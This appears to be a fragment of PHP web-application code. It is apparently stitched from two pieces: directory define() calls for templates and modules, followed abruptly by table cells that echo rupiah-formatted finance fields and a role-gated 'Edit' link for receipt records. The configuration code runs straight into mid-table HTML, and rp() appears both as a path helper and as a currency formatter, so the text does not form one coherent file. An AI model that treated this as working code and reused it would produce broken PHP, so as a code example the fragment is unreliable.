define("CSS_DIR", TEMPLATE_DIR . "/css");
define("ADM_DIR", TEMPLATE_DIR . "/adm");
$templateList = array("header", "toolbar", "index", "footer");
// Modules
define("MOD_DIR", rp("./modules"));
</td>
<td>
<?php
echo rp($data['bm']);
?>
</td>
<td>
<?php
echo rp($data['cukai']);
?>
</td>
<td>
<?php
echo rp($data['piutang']);
?>
</td>
<td width="120px" class="text-center">
<?php
if (in_array('penerimaanedit', $menurole)) {
?>
<a href="index.php?c=penerimaan&m=penerimaanedit&id_penerimaan=<?php
echo $data['id_penerimaan'];
?>
"> Edit</a>
<?php
}
?>
